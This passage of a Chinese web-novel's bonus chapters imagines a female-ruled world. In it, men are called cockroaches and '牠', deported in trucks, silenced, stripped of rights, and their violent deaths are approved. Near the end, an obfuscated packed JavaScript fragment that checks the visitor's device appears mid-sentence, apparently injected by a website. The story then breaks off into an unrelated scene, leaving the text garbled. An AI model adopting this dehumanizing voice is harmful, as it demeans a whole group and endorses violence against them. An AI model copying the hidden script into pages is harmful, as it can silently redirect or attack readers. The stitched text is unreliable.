各地方派出了专门的代表,坐到圆桌前共同商量此后天下之事。 而宁秩与姬珠夜臭味相投,她们很开心地聊了很多,直至会议结束。 “你要寻找姬拾月,要不要跟我们一起。”宁秩问她。 “说来听听。”姬珠夜没有拒绝,“你们准备做什么?” 宁秩把向各界投送系统,甚至建立时空局的事都告诉了她。 “听起来很有趣。”姬珠夜摸摸下巴,“这个项目我姬珠夜投身了。” 宁秩闻言,与姬珠夜相视一笑。 “期待你的加入。” 天下女子大会拢共开了一周,在各方商议下,制定了诸多事宜。 包括初步确定建立一个全天下人的联合组织,各地区各门派如何协调相互关系,女性如何确保权力持续掌控下去、转型之中又怎样管理男性之类的事。 权力的更迭,对于生活在这个时代的某些人来说,也许是一生的事。 但这确确实实,仅仅是另外一个崭新时代的开端。 5. 第 5 章 番外:奔跑的世界 “我要去游历一番。”大局已定,事情也交代得差不多了,时岳这样跟大家说。 审月打个哈欠,也说:“我和你一起。” 祝缨看她们的眼睛,知道她要去的是哪里。 大家说要为她们送别,做些好吃的。 几个小萝卜头甚至鼻尖红红的了。 时岳蹲下来对还在不停吸气的小萝卜头说:“时岳姐姐很快就会回来,不要那么不开心好不好?” “时岳姐姐你骗人,我都听说了,你不是这里的人,再也不会回来了!”一个身穿红衣服、胖嘟嘟的小女孩扁着嘴说。 “思瑞,你坚强一点,”站在她身旁的一个个子稍微高一些的青衣小女孩,尽管不舍,但面容沉静得多,她安抚地说,“时岳姐姐有自己要做的事。” “可我就是难过、不开心嘛。” 见状,时岳轻轻笑了声,她屈身,目光真挚地注视着她们:“齐利、姜烈,还有思瑞,天娇你们,我发誓一定会回来,要不然就吞一千根针。你们也要答应姐姐,这段时间好好照顾自己,让姐姐回来的时候看到的是强壮、坚强的大女人好吗?” “嗯、嗝……”齐利抽噎着回答,姜烈和纵天娇一行人还是很难过的样子,但还是郑重地点了点头。 思瑞也矜持地点了下头。 等了那么一会,齐利突然往后退了一步。 她忍住泪意、大声地,声音又很响亮地对时岳说道。 “我会的,时岳姐姐!” 离别的氛围就像在每个人脑海中穿梭的巨型蓝色幽灵。 审月一把抱住祝缨的肩膀,对她们说:“你们时岳姐姐又不是不回来了,别搞得那么惨兮兮的。” 这时,屠新她们提议为时岳搞个离别宴。 “不了,”时岳摇了下头拒绝,她不想面对离别场景,“不用那么麻烦的。” 其她人脸上依依不舍,但又将情绪收起来。 “那我们等你们回来。”最后齐照灯注视着,而屠新望着她俩这样说道。 审月没说话,仰头看了会白云飘飘湛蓝的天,以及天下面连绵起伏的山和山上黑色阴影的树,才走向时岳,靠近她,低头弯腰在她耳边轻声说。 “大家借此机会好好聚聚玩玩、庆祝一下新生活的到来也是不错的,到时候我们就偷偷溜走。” 时岳一想也是,但她没说话,她在地上站着,目光到另外一个世界漫游了刹那。 过了一会,她就同意了。 “不过我们也不用太麻烦了,就像几千年前远古部落那样,围坐在篝火旁边聊聊天就好。”时岳这样说。 夜晚,篝火燃起,女钺宗的人在林间空地,几人一组围坐一处,架起了烤羊,手中还拿了肉串在火里烤。 “从前,女人们在打完猎后,也是这样围坐在篝火旁,烤着猎物,分食,谈天,欢笑着。”不知是谁提起了这个话题。 老人们便顺势讲起了人类出现时,女人们的故事。 “你们知道吗?其实一开始,女人就是能够沟通天地的巫鬼,是能够创造生命的神明,根据遗留下来的《洪荒志》与《洪荒异志》记载……” 老人讲故事时,皱巴巴的脸上显现着火光跳跃的阴影,她神情平和,目光悠远,仿佛穿梭了亿万年的时光。 时岳听着淡淡微笑着,她望着天空。 “你在看什么?”审月问她。 “月亮。” 审月跟着她的目光看到了无数树顶之上的那一轮清幽明月。 “我在看月亮。”时岳又说了一遍。 “你说,那些女人曾经也像我们这样,团聚在一起,看这片天空的月亮吗?”审月虽然是在提问,但更多的是表达自己的感情。 “我想是的。”时岳回答。 她们都没有说话了,只是静静地凝望着明月,过了一会,时岳说:“如果有很多个世界,那么是不是就有很多个月亮。” “还是说,其实月亮只有一个,只是每个世界就像树结的果子,在里面往外面看的时候,其实看到的是不同角度的同一个月亮。” “也许吧,”审月说,“你是想妈妈了吗?” 时岳望着明月,身上落满了月光。 “我们走吧。” 然后她们就在所有人都未曾注意的时候,找了个地方换上自己世界的衣服,相视一笑共同离去了。 时岳和审月来到自己从小长大的世界,是在同一个地方降落的。 “你也是住在宣城?”时岳问她。 林间广场正在放烟花,在响声之中,审月回答她:“是啊,说不定我们小时候还见过呢。” “我在宣城完小读的小学,六中读的初中,一中读的高中。” “我也在一中读的高中。” “看烟花。”审月突然叫她。 时岳看了过去,心尖因为眼前的景色而震颤。 “我叫苏审月,我妈妈姓苏。”说完后,审月跟她说了再见,“如果你会留在这个世界的话,可以去东湖大道找我。” 时岳站在原地,心想她是知道自己是来道别的吗? 也许审月再也不会去那个世界了,当时她只说时岳又不是不会回去,没说自己怎么样。 时岳失笑着摇了摇头,继续看审月之前让自己看的景色。 这时她很庆幸自己能够看见颜色。 广场街道上细长伶仃的树身用绳子连挂着一行黄橙橙的灯,背后的天空深蓝色飘着分散的几团大块白云,辉煌的金色烟花在树顶与天空的背景中炸开,像裂开的木棉果子和花。 行人都在观看、拍照,脸上的表情是温和日光下的幸福与愉悦,淡红色的,一种很朦胧的心情。 今天是什么节日吗?为什么在放烟花?还放了那么久? 时岳随机抓了一个行人问。 “你也是玩家吗?”行人兴奋地说,“这就是为了庆祝你们回家所放的烟花。” 世界已经在改变了。 在时岳回来之前,她们就带着新生的希望到来了。 时岳回到家,妈妈和时朝晖正躺靠在沙发上看电视。 “妈我没看错吧!”时岳一个照面就被时清桐如今的样子惊住了。 “你、你还真是大变样!” “嗐!吓死你姥娘我了,”时清桐看电视看得正投入呢,被时岳这么一吓,猛然地拍一下自己的胸脯,不悦地看向正从拐角走过来的时岳,“你这妵头不走门,走窗习惯了是吧。” “妵头?” “这你就不知道了吧。”时清桐得意地撇她一眼,“妵就是女为主,妵头可以用来称呼女人。” 时朝晖也在时清桐旁边喊着:“时岳姐你不在的时候,时姨姨可是学会了很多东西呢!” 时岳将目光投到时清桐干净、没有化粧的脸上,以及修剪过后短到耳后根而看起来利落的头发。 只是发尾是褐色的,时岳估计着接近发根的黑色大概是后来长出来的吧。 “其实一开始时姨姨并不愿意的,”时朝晖语速很快地揭时清桐的短,“只是她的老姐妹们都不比美不夸美了,再加上现在男人们个个都回归男人本□□起了美,时姨姨觉得没意思,就再也不搞这些了。” “哦,忘说了,时姨姨穿着裙装出门的那个时候还被误认为是男人了,时姨姨回到家可生气了呢。” 时清桐在时朝晖说的时候一个劲地去扒拉她。 “我就不能是自己悟了吗?”时清桐怒道,“我爱怎么样就怎么样,这是我的自由!” 时岳听到这句话,顿觉好笑。 两个环境的情况下,妈妈做出不同的选择,但同样都用了这句话为自己辩护。 “现在不说这样像个男人了?”时岳抱着胸,斜睨着,似笑非笑,故意这样问。 “我的好女儿,你可别逗我了。”时清桐求饶,“我承认我错了。” 时岳有些惊讶,她没想到一向自己做错了事也不肯承认的妈妈会认错。 “现在男人可是长头发、穿裙子、爱化粧的样子,跟我这个女人沾不了一点边,别碰雌。”时清桐一本正经地说。 时岳想了想,她回来的路上,的确是看到了几个打扮得很有虜男味的男人,而且无不穿了裙子。 只是她当时一心回家,没怎么在意,再者这样的模板她之前也看过不少,千篇一律,无甚稀奇。 时岳有点好奇,她问:“就没有不喜欢这样打扮的男人吗?” 时朝晖张开嘴刚想说什么,时岳就补充了这么一段话。 “当然,男人本性就是爱美的,看自然界的雄鸟就知道了,我是问那些不像男人的男人。” 003说过了,它搞的那个男人不化粧不穿裙子不是长发就不能出门的规则是有时间限制的,现在这个情况应该是哪些个玩家搞出来的。 时岳有些好奇,也有点想笑。 “牠们可不敢不喜欢。”时朝晖回答说。 原来是男人如果不这样做,被抓到了,档案上就会有污点,以后找工作就很难了。 更别提那些正义的指责与来自同性的谩骂了。 这些东西一起为牠们的不喜欢蒙上灰色深重的阴影。 电视机里传来声音,时岳被吸引,定睛一看。 “是新出的剧,超级好看的,讲述了一个全女社会之中的现代化大城市连人带城都穿越到一个封闭、贫穷、落后的古代封建男权社会,给当地带来各种冲击的故事,非常搞笑、幽默。”时朝晖主动介绍。 时清桐在她说完后,突然想起什么似的,问:“对了,你吃饭了没?” 不待时岳回答,时清桐就不耐烦地摆摆手:“没吃的话你就自己去做点,冰箱里有肉,我还要看电视。” 然后两个人都聚精会神地看起了电视。 “刚刚演了什么,你看了没有?” “算了算了,先看这个,明天看回放。” 一句话都插不进去的时岳嘴巴像小黄鸭一样扁了下去。 好吧。时岳自己回到房间,从抽屉里拿出手机,开始搜索起来。 过了一个小时,时岳理清了这里所发生的一切。 当初有一些前往天昭的女人陆陆续续回来了。 她们联合起来,利用从系统商城兑换的物品,以及自己在那边习得的术法,控制了全世界的武器库。 俗话说得好,邻居屯粮我屯枪,邻居就是我粮仓。 有了降十会的力,后面逐渐将触手伸向了各个角落也就不难了。 也不是没有反对的声音,没关系,直接把这些人的发声带扯掉就好了。 也不是没有不自量力想要以卵击石的男人,没关系,直接关进牢里等待审判就好了。 也不是没有除了她们掌控之外的武器,没关系,直接一个阵法甩过去,用玄学干懵它们。 时岳看到这,不由感叹一声,果然天下是打出来的。 后面大家召开了会议,修订了法规条文,还重新分配了因为男权糟粕而导致分配不公的财产,以及重审了诸多“男人强仠”“男人杀妻”“男人故意伤害家庭成员”等案件。 新法追溯过往,欢迎大家检举男人。 除此之外,男人在一些权利上也有了新规定,比如继承权,那绝对是没有的。 当然,大棒打了,也要给萝卜。 为了安抚男性群体,政府给了牠们大大的福利,《劳动法》当中就特意规定了公司在雇佣男性员工的情况下需要为其缴纳女性员工两倍以上的医保,进入专门账户为牠们以后的骟术治疗提供保障,并且还很人性化地给牠们安排了长达一年之久的骟术假期。 这只是冰山一角,社会对男性的好怎么说也说不完。 同时,政府还考虑到人类当中的男性版本太过低级,男士们过往在与人沟通、交流当中就时常冒犯她人。 于是政府就颁布了《男性行为规范法》,其中制定了男性的日常行为规范。 一旦违反就罚款、拘役,举报者有赏。 “如果你早点回来的话,就能够看见一卡车一卡车的男人被送走的情形了。” 时清桐一边吃放了一大把青菜的瘦肉面,一边抬头对时岳说道。 时间已经是第二天了。 时岳嗯嗯点头。 “房子空了很多,估计再过十几年,有些地方要种上树什么的。”时清桐畅想着,“说不定以后我们……我和朝晖也要住进一个带院子的楼房,你以前不是最想住这样的房子吗?” “现在我以天为被,以地为席。”时岳贫嘴。 早饭过后,时岳托人购买了大量学术资料,还下载了新拍的女本位好剧。 然后除了吃饭、洗脸之类的,就瘫在床上津津有味地追新播的剧。 等回到天昭,她也一定要加快发展影视行业。 想到这,时岳就发消息,让朋友尽可能详细地把近现代发明创造有关的学术专著都搞来。 “知道了知道了,一个脑袋知道了。”朋友回答她。 时岳又转了一大笔钱给她。 “时岳你躺在床上跟个猪一样,也出去走走吧。”过了几天,时清桐终于受不了她了。 “不知道去哪。”时岳眼睛瞪大,寻找着下一部好剧看。 “从前也没见你那么爱看剧。”时清桐吐槽。 “那是因为我不爱吃屎。”时岳迅速选中下一部预备要看的剧。 “行了,”时清桐一把夺过时岳放在胸下双手扶着的平板,“跟我出去走走。” 时岳微眯起眼,看她。 “你算是好运,今天举办了月经节。” 时岳看日历,发现今天是阴历七月的十五、十六,她说:“今天也不是五月二十八日啊。” 时清桐撇她一眼:“月经节是每月的十五、十六都会举行的。” “全世界都会共同庆祝这两天。” “那还等什么!”时岳激动得一下子就蹿了起来,“现在就走吧!时清桐女士!” 时候拉着时清桐,带着时朝晖,就兴冲冲地出了门。 即将到达林间广场的路上,就看到一辆辆装着月经巾和棉条的卡车从眼前驶过,时岳看到卡车车身印着一个巨大的满月,整个满月下半部分是三条波浪形状的海浪,金黄与蓝的搭配,简洁又非常有艺术美感。 周边街道用黄色警戒线围起,女人们欢笑着迎接从卡车上抛下来的月经用品。 进入林间广场,时岳看到了大家拿着水枪互相滋水。 神奇的是,水是红色的,像月经血液。 时清桐抓着时岳,和时朝晖一起来到林间广场靠近街道的地方,在一个透明的商品柜里取了三把水枪。 时岳拿到的是一只红眼睛兔子样式的,而时清桐和时朝晖分别是鳄鱼和鲸鱼。 时清桐滋了时岳一脸,红色的液体从她脸颊流下。 “好啊你!”时岳从最开始的怔愣,到属于女人的远古兽性被激发,她拿起小兔子水枪就追着她们狂喷。 “哈哈哈我又没有喷你!”时朝晖一开始还尝试跟时岳对喷,可一旦发现自己搞不过时岳后,就开始打“动手顺序”牌了。 只可惜时岳不吃这套:“我就喷,喷,喷,喷!我喷!” 后面广场上的人都是一身红。 “红色越多越幸运哦!”有小女孩大喊。 喷红水活动结束后,她们都顶着一身红,聚到了很快就搭建好了的舞台前。 大夏天水干得很快,时岳用法术为自己和另外两个弄干就没管了。 而其她人则选择去广场附近提供的免费烘干室烘干全身后再出来。 倒是没有人回去把全身上下的红色去掉再来。 舞台之上,都是舞台之下的人自发上去表演节目。 不论水平,只要与月经、女性和潮汐相关的就行。 夕阳像叼着云的几只鸟从天上落到了人世间,旁边的少年看着舞台上的表演者,突然就侧了头,含笑着对时岳说:“今天潮汐之神来到你身上了吗?” 月经与潮汐有关,现在有个时髦的说法,来月经就是潮汐之神降临到了她的身上,人人都会羡慕她。 时岳摇头:“不过明天就会来了。” “真好,”少年笑着,眉梢的快意都要溢出来了,“今天我来了月经。” 时岳也跟着笑,畅快地笑,像是吞了甜滋滋的火焰。 突然,她听到了一阵熟悉的歌声。 时清桐推了她一把,满脸惊喜地说:“你看那是不是你最喜欢的歌王张子垣?” 时岳看了过去,一个短发女人欢笑着在台上为大家歌唱。 时清桐告诉时岳这首歌的名字叫《生月之轮》。 时清桐告诉时岳,第一部全女电影,主题词曲都是张子垣作的。 时清桐还告诉时岳,在月经面前,女女没有不同,要是喜欢月经节以后再去找她,这是规矩。 时岳看着妈妈重复张开嘴又合上嘴的动作,有什么微末的东西,慢慢地,慢慢地在浸润心房。 她不去看妈妈,但也就是过了那么几秒吧,她又去看妈妈了。 时岳失神地点了头,后又回过神,哼了一声,掩饰情绪,指责道。 “时清桐女士,我是个理智又成熟还经历了那么多事的大人啊,你到底在担心什么啊?还有还有,我在你心中的形象就那么不堪的吗?可恶!” 时清桐跟时朝晖闻言都笑了起来。 时岳也笑,然后望着台上尽情歌唱的女人,嘴角微微笑着,眼下也有了热意。 时岳记得她最后看到张子垣的消息,是张子垣自己在个人微博上发的一条狗走在黄昏大道上的照片。 后来张子垣不知道为什么就隐退了。 时岳当时还很遗憾,没想到现在还能够看到她。 “真好啊。” 月经节结束后,时岳带着满身红色从月光下走回去,时清桐和时朝晖就在旁边。 “走,妈妈带着你向张歌王要签名去。”时清桐突然就拉着时岳和时朝晖跑向另外一边。 “妈,你不是不喜欢她吗?你以前还说她唱的是口水歌,稀奇古怪得很。” “笨蛋,重要的是你喜欢啊,你以后可就没有这个机会了。” “啊!”时岳想,是风把别人的眼泪刮到了自己的眼睛里了。 “哈哈哈妈妈!” 她们跑起来,跑着,经过别人,在月亮下奔跑。 在这样共同奔跑的情形下,精神与身体仿佛都有了一种随意的疯狂,像风,世界每个地方的风,像潮汐,身体里面每处的潮汐,无所拘束,自由自在。 时岳逐渐放空了自己,也变成了风,变成了潮汐。 她们在月亮下,奔跑,无拘无束,自由自在。 “妈妈!我听见了潮汐的声音,它就在我的身体里,你,你呢,你听见了吗?” “妈妈,我们之间有一根割剪不断的脐带!” “自从你在你妈妈的身体里,我就在你身体里了!” “妈妈,那时,我听见你身体里的潮汐声,你听见了姥姥身体里的潮汐声吗?” 这时候,追不追得上从前喜欢的歌手已经不重要了。 重要的是她们在跟着月亮奔跑,身体里有潮汐的声音。 “妈妈,你在奔跑,我在奔跑,她也在奔跑,你看,世界就在奔跑!” 番外:江蔚然的剑 江蔚然想要一把剑,很小的时候就想要了。 “阿娘,我看见那里,就是藏在你书房那里,有一把剑。” “它剑身是赭红色,配有血红色流苏珠坠,虽然古朴,但只要一靠近就能够感受到里面无比锋锐的气息。” “我超级喜欢的,如果这一次我能够学会御剑,阿娘你能把它送给我吗?” 江蔚然眼睛亮亮的,期盼地望着季锦和。 “可以吗?可以吗?阿娘怎么不说话?” “啊,”季锦和好像才回过神,蹲下来对江蔚然说,“蔚然,这把剑不能用了,换成别的剑好不好,阿娘这边有一把,是前朝公主万俟际会战场所驱之剑,威风凛凛,令人胆颤……” “可是我就是看上了这把剑,别的再好也没这个感觉了。”江蔚然还是想要那一把自己一眼钟情的剑,“阿娘,它为什么不能用了啊?” 季锦和沉默,随后背过身去:“说了不能给你就是不能给你,你莫要再问了。” “阿娘……”江蔚然并不乐意,但季锦和已经走远,她只能踢踢路边的石子,另想它法。 江蔚然将目光投向了江立汜,可是看着牠死了爹的严肃面孔,撇撇嘴,叹了口气。 “难啊,”江蔚然稚嫩的面孔满是不符合她年龄的沧桑,“我可真难啊。” 想要一把合心合意的剑怎么就这么难呢? 但江蔚然没有丧气,她觉得自己只要再努力努力,坚持那么一段时间,必定能够得到自己想要的。 毕竟就没有她江蔚然做不成的事! 从不知失败为何物的江蔚然从这以后找到机会就会打听这把剑的事。 有时候还会偷偷溜进季锦和书房,看一看摸一摸这把剑。 这时的江蔚然一心只有剑,没有怎么在意季锦和越来越疲惫的神情,她只是拉着季锦和的手臂,要她好好休息,不要太劳累了,就再没有其它的了。 那一天,季锦和脸上恢复了一些笑意,她把江蔚然叫到房间里,亲自从刀剑架上为江蔚然取下一把剑。 “蔚然,这就是你想要的剑。” 江蔚然欣喜若狂,喜不自胜地接过剑,可才看了一眼,摸了两下,她脸上的欣喜笑容立刻就消失了。 “阿娘,不是这一把。” “也是一样的,”季锦和笑容温和,“这是阿娘亲手为你铸造的。” “不一样的。”江蔚然还是说。 季锦和脸上的笑容消失了。 “那你说说有什么不一样?” 江蔚然心道不好,但还是梗着脖子回答了:“两把剑模样虽然一样,但之前那把是有灵魂的,它来自天下,融于天下,又归于天下,是自由之剑,无所顾忌,也是破局之剑,不畏时法。” “而阿娘你的这一把,规整无差,无所形变,自以为顺天应理,能够从中寻得真法,却也因此被困于局中了。” 季锦和听后良久不语,挥挥手让江蔚然离去。 江蔚然走后,季锦和的亲信孤婆子听到了房间里传来的笑声,明明是很大声,又肆无忌惮,却让人感觉到莫名凄凉。 后来江蔚然还是没能拥有她想要的这把剑,也逐渐忘记了原来自己曾经是渴望拥有这样的一把剑。 记不清,已经记不清了。 江蔚然九岁时就被江立死江贱男找人篡改了那时的记忆。 直到稀里糊涂二十几,在那场大雪里,濒临死亡,听到神秘恩人的声音,她才想起,原来她是江蔚然,是幼时渴望拥有那样一把剑的江蔚然。 季锦和失败了,江立汜也没讨到好,牠浑身是血,五脏六腑都被打碎,那处也是永不可找回了。 可是季锦和死了是事实,江立汜再躺在床上苦不堪言,一年后也还是好了的。 其实江立汜并不比季锦和厉害,只是牠有江家母父留下的宝物和忠心护主的虜仆,这是她所没有的。 季锦和短短十几年经营的东西并不足以和江家这样的庞然大物所供养的人事物抗衡。 更何况她还是凭借依附得来的,看似光彩,但其实脆弱得不堪一击。 如果早知道是这样,也不知道季锦和心里可曾后悔过,要是当初在觉得江少华赢不了时没有反叛就好了。 毕竟曾经就算是输,也是有那么一个强大的少年和她一起。 而且就算是输,大不了她们一起背井离乡,在别的地方重头再来。 季锦和自以为找到的捷径,原来是下滑的井口,只是用金□□这样的幻象迷惑了她,一旦被诱惑,跳下去,就要被拉住脚踝,掉入其中。 季锦和在其中消耗力气,甚至忘记自己更应该精进自己的修为,忘记自己应该有志同道合的朋友一起谈论术法,就像同江少华一起的时候那样。 可笑,可笑,到后来江家也与她并无半点关系。 可惜往事如烟,季锦和早已化为一抔黄土,归于世间,无从回答这个问题了。 江蔚然对于季锦和感情是复杂的,她不愿去想、也不去提有关她的话题。 当初江蔚然本来在三花喵的程序里体悟宁秩编写的心法,没想到会突然被抛了出来,回到自己的身体里。 “好吧,”江蔚然抚摸了一下自己的额头,嘴角噙笑,笑容温和,“我不会让你们失望的。” 然后她就一路行过平川高山,一路修习剑法,一路斩不平,一路观看风景。 她用的剑除了龙骨剑,还有就是江少华曾经的用剑,商升。 与她曾经在季锦和那里见过的,也是她想要的那一把,同样是赭红色的。 “参起。” 江蔚然脑中浮现那把剑的名字。 只可惜参已落。 这种遗憾也算是一种圆满吧,江蔚然想。 江少华在她留给江蔚然的每个东西上都留下了自己的幻象。 “也不知道你以后会对什么感兴趣,剑?符?丹?还是阵法?反正没关系,我都给你准备了一份。” “话说你有拜赵今朝那个絮絮叨叨的老太婆为师吗?她除了和老鼠住在一起之外,在剑道上还是颇有造诣的。” “嘿嘿,天下就没有比我在修道练剑这一方面更有天赋的人了。” “所谓剑之道,本少姥认为归根结底乃是人之道……” “蔚然,你可要记住,那种为达目的不择手段可以牺牲一切没有大局观的利己之徒,可以利用,但万万不可交付真心,我当初就是……哎,也罢,不提了,不提了。” “也不知道她对你怎么样,突然有点后悔了,我可真是个很坏很坏的人。” “不过她对你应该不错吧,我识人还是很不错的,除了那件事上!是例外,是例外!” “江蔚然,现在你会是在哪里,在做什么呢?杀该杀的人?制定黑心计划?还是仅仅是看了会夕阳,我跟你说我可喜欢在夕阳下的悬崖边练剑了,特别刺激特别美。” “江蔚然,你现在几岁了啊?十五、二十五还是三十五?嗳,我今天又杀了好多人,里面有我认识的,但都站在了江立汜这个贱男身边……她们选择了牠,放弃了我。” “我早就知道了……不过没关系,我的优秀并不会因为母父的否认而改变,但有些人的生命却必定会因为我的剑失去了。” “我看好多人都不顺眼,所以我就一直杀人,一直杀人。” “杀人好累,我的剑也变得凶戾,我想我不能这样了,等再安排好一些事情我就去别的地方看看。” “说不定不等你为我报仇,我自己就成为了各方面的天下第一呢,到时候想做什么就能做什么,小小江家,不足挂齿。” “好吧,也许你根本就不愿意,但是没关系,我开心就好了。” “而且,你能活下去,想想吧,我从这个到处都是男人的垃圾世界手中救下了一个女婴,还是很令人自豪的。” “至于你会不会怪我擅自安排你人生的事,哈哈我管你哦,说不定现在我都死了呢!你找不到我的,怎么样,是不是很气啊。” “一直没有提起季锦和,好吧好吧,也许你会好奇,哎,你也是,我们之间有什么恩怨,现在也影响不到你什么了,反正该影响的都影响了。” “嘶,你也真是,就在商升剑身里,我把我们的恩怨公正地写了下来。” 就在触发到最后这段幻象后,江蔚然突然意识到了什么。 “人在剑在,人亡剑亡。”她喃喃自语,“有一种说法,如果剑与人合一,那么人亡剑也会身碎,当初阿……她死后,参起就碎了。” 如果真的是这样,也许江少华至今还活着。 毕竟江蔚然觉得像江少华这样惊才绝艳的人,达到人剑合一的境地并不难。 等到了芩川城门旁边的树林里,江蔚然有些苦恼地戴起了黑色幕篱。 她暗自下定决心,到时候一定要把事情说清楚,把恩人的功劳原原本本地就归还到恩人那里去。 江蔚然来之前的路上遇到一农户,对方误认为自己是恩人,热情地招呼她。 农户家里的女儿也无比崇拜地望着她,星星眼,亮晶晶,当着她的面把她夸得上天入地仅此一人。 如果说开始江蔚然还只是有些羞赧的话,那么到后来村里的人都来看她,你一言我一语地称颂,江蔚然就再也忍受不住了,她直接落荒而逃,像只怕被发现的黄鼠狼。 虽然知道她们是在说恩人,但江蔚然总有一种冒领功劳的心虚感。 “也还真是……”江蔚然两只手从幕篱下面伸进去捂住双颊,过一会放下来后又看看四周,轻咳一声,走出林间,跟随人群走进了城门当中。 此时,落日的余晖落在了城门处,大门顶端溶金一般的美丽。 同时也落在了她们身上,夕阳无限好,明天还是会如此。 番外:再会了朋友 “我要知道你过往所发生的一切事情。”宁秩一合折扇,眉眼弯弯,笑意盈盈。 “你同意吗?” “嗯、同意——当然可以!” 时岳的一生就和大多数普通人一样,很平常地出生,叫妈妈,学走路,上幼儿园,读小学,读初中,读高中,念大学,但没有选择考研,大四就实习,一毕业就转正。 “我从来都没觉得是个男的有多了不起。” 小时岳稚声稚气地说。 “相反,妈妈,我为自己是个女人骄傲了好久。” 时岳小学的时候成绩并不好。 可是每当班上前几名差不多都是女生的时候,时岳就会感同身受地开心,哪怕自己名次只是中等。 “时岳我跟你说,男生下面……”同桌在时岳耳边分享自己经过男厕无意瞥见的画面。 “真的嘛?”时岳很惊讶,“那牠们不是很可怜。” “是啊是啊。”两个人头凑在一起同情着,但心里更多的是庆幸自己的正常。 时岳虽然爱玩,上课画画,学习不好,但跑得老快,拳打脚踢了捉弄女生的坏男孩后,等人家反应过来,一溜烟就跑到老远的地方,跟人家做鬼脸,还觉得自己特厉害。 “我时岳打遍天下无敌手!啦啦啦~” 后来,和一个新搬来的女孩打架,输了。 “我还以为你多厉害呢,也不过如此。” 气不过,时岳偷家里的水果零食各种讨好她,后来熟悉了,发现她的妈妈就是最近退役的拳王。 “好厉害,我也可以学吗?” 然后坚持不懈地学了三年拳击,直到对方搬走。 初三,时岳按部就班地学,中考超常发挥,考上了当地最好的高中,宣城一中。 刚入学,物理老师是个令人讨厌的男老头,大谈女人学不了理科。 时岳站起,椅子在地板发出刺耳的刮蹭声。 “老师,学校理科前十有七八个是女生。” 时岳面无表情地说着,她告诉自己要表现得冷静一些,最好是云淡风轻地气死这个老东西。 “如果您不是睁眼说瞎话,那么我真的要怀疑您有没有实事求是的逻辑与理性思维了。” 时岳讲完坐下,班上的女生都激烈地鼓起了掌。 男老师在这掌声之中涨红脸,气得秃顶更秃了。 以后每次上课牠都要阴阳怪气一下时岳。 时岳也不是什么软柿子,也是会云淡风轻回怼的。 这可把封建僵尸脑的男老师气得个七窍生烟。 还不止,时岳一身反骨,说女生读不好理科是吧,好,她就往死里读,把那些男的统统都踩下去! 运动会跳高、跳远、扔铅球、短跑、长跑……但凡能参加的,她都会去参加。 “拿第一名,气死那些打压女性的嘴贱男。” 有一天,时岳在网上收到了一个名为神秘饮弹男的好友请求,以及辱骂轰炸。 里面最多的一句就是——“你这个没有爸爸的野种。” 时岳感到好笑,找了一个黑客姐姐,把对方黑了,发现是她们班上不学无术爱打游戏塞钱进来的吊尾车来搞的她。 此男不仅满口骂妈辱女词,还自以为是男皇帝,给班上女生容貌打分。 时岳也没干什么过分的事,就趁着夜黑风高,没监控,这死贱男回家,套着麻袋给牠狠狠揍了一顿。 后来这贱男就被酒驾男司机给撞死了,还是来回碾压成肉泥。 死者为大,同学们都表现得很感慨的样子。 “可是,我为什么只是觉得没什么大不了的,牠死了就死了呢?” 时岳上网匿名提问。 “这很正常,男人就是雄蟑螂,一想到这些恶心、低贱的虫子和我们生活在同一个世界……” 当你发现雄蟑螂的时候,你就会明白雄蟑螂有多么恶心了。 “牠们会到晚上,在白天,吃掉你的东西。” 时岳回家的时候,时清桐问她:“如果一个男人出现,告诉你,牠是你生物学上的父亲,你会不会感动?” “什么?”时岳吃了一惊,警惕地看着她妈,脑中闪现各种狗血片段,犹豫着,“你……不会是要告诉我,我要有个什么来认亲的爹吧?” “就问问……” 时岳有种不好的预感,她看着妈妈,把心里的话从嘴里噼里啪啦倒出来:“我呸!感动个屁!感动牠来摘桃子?来离间我们母女关系吗?” 听时岳这么说,时清桐隐隐松了一口气。 “说什么呢,”时清桐撩撩耳边的碎发,笑了笑,“你是我生的,只有我这么一个妈,哪来的什么爹。” 时岳还是担惊受怕,她反复确认了好几遍。 “没有,真的没有,”时清桐哭笑不得,“我是你妈,还会骗你不成?” “你骗我穿裙子。”时岳说。 “……你这死丫头。”时清桐不想和她说话了。 后来没有出现什么来认亲的爹,倒是来了一个自称是时清桐妹妹的女人。 但也只是一天。 时岳记得清清楚楚,这个来了一天的女人。 她的衣服是绸缎材质的白色,袖口和衣领偏窄,绣着半轮金色的弯月牙。 她理了个寸头,她懒洋洋地坐在沙发上看一本地理杂志,她微微抬起眼睫,轻描淡写地告诉时清桐。 “哦,杀害那个男人的凶手已经捉到了。” 她好像是在让时清桐不要担心。 然后她就要走了,桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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于是时清桐杀了牠。 “是牠不守信,”时清桐恨恨地讲,“我都给牠钱了。” 时清桐当年并不想结昏,但想要一个孩子。 可是她也不想要那么长的取卵针进入体内。 “我精挑细选,买走了一个男人的配子。”时清桐说,“生养都是我一个人,我的孩子不需要父亲。” “我会帮你的。”那个人笑笑,懒洋洋的。 “谢谢你,妹妹。” 时清桐转过头,对着她说。 她们的背后是河,灰蒙蒙的世界。 对岸的城市像停泊在这里的船,又仿佛是另外一个世界的幻影。 一只飞鸟从高楼飞来了,它掠过湖面,打破回忆的镜子。 姬珠夜呵了一声,双手抱胸看着河面。 宁秩站在旁边,她们身后,高楼顶端,落日溶金,一只渡鸦从那里的天空飞来,掠过眼前的河面。 “姬拾月。”姬珠夜叫了一声。 然后一个女人从河里面走了出来,在空中悬浮着坐着。 “珠夜,你找到我啦。” “你在哪里?”姬珠夜问。 姬拾月笑了一声,“不知道,你要问现在的我。” 姬珠夜闻言,啧了一声:“行行行,姬拾月,你可真难找。” “一般,再申明一下,难找的可不是过去的我,而是现在的姬拾月。”过去的姬拾月声音懒洋洋的。 “过去?现在?”宁秩疑惑,在心中猜测。 姬珠夜在宁秩耳边说,“姬拾月特别擅长时间与空间的法术,我们现在看到的是过去的她。” “就是可惜过去的姬拾月一旦离开生成她的地方太远就会死去,不然我们就可以把她抓走干活了。”姬珠夜脸上颇为遗憾。 给宁秩介绍完,站在河边护栏旁的姬珠夜又冲着过去的姬拾月问:“那你知道什么?” 